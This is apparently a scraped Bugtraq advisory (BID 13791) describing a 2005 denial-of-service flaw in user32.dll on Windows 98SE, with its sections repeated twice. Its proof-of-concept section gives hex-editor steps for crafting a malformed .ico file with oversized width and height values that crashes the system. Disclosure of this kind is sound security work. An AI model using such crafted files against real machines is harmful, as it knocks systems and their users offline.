Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability
BID:13791
Info
Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability
| Bugtraq ID: | 13791 |
| Class: | Failure to Handle Exceptional Conditions |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 27 2005 12:00AM |
| Updated: | May 27 2005 12:00AM |
| Credit: | Discovery of this issue is credited to "- k -" <[email protected]>. |
| Vulnerable: |
Microsoft Windows 98SE |
| Not Vulnerable: | |
Discussion
Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability
The Microsoft 'user32.dll' library is prone to a denial of service vulnerability. The issue manifests when the library handles icon (.ico) files containing large size values.
Reports indicate that this issue exists for user32.dll versions that reside on Microsoft Windows 98SE platforms. Other versions might also be affected.
The Microsoft 'user32.dll' library is prone to a denial of service vulnerability. The issue manifests when the library handles icon (.ico) files containing large size values.
Reports indicate that this issue exists for user32.dll versions that reside on Microsoft Windows 98SE platforms. Other versions might also be affected.
Exploit / POC
Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability
No exploit is required. The following example is available:
Just open a bitmap in a hex editor and modify the width and height data:
Locate the "XXXX" values...
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 XXXX
00000010 : 0000 XXXX 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
...and change to:
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 FFFF
00000010 : 0000 FFFF 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
Then change the extention to ".ico". Notice that the system will crash.
No exploit is required. The following example is available:
Just open a bitmap in a hex editor and modify the width and height data:
Locate the "XXXX" values...
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 XXXX
00000010 : 0000 XXXX 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
...and change to:
----------------------------------------------------------------------------
00000000 : 424D 38F9 1500 0000 0000 3600 0000 2800 0000 FFFF
00000010 : 0000 FFFF 0000 0100 1800 0000 0000 02F9 1500 120B
----------------------------------------------------------------------------
Then change the extention to ".ico". Notice that the system will crash.
Solution / Fix
Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Microsoft Windows User32.DLL Icon Handling Denial Of Service Vulnerability
References:
References:
- User32.dll Icon Size Crash ("- k -"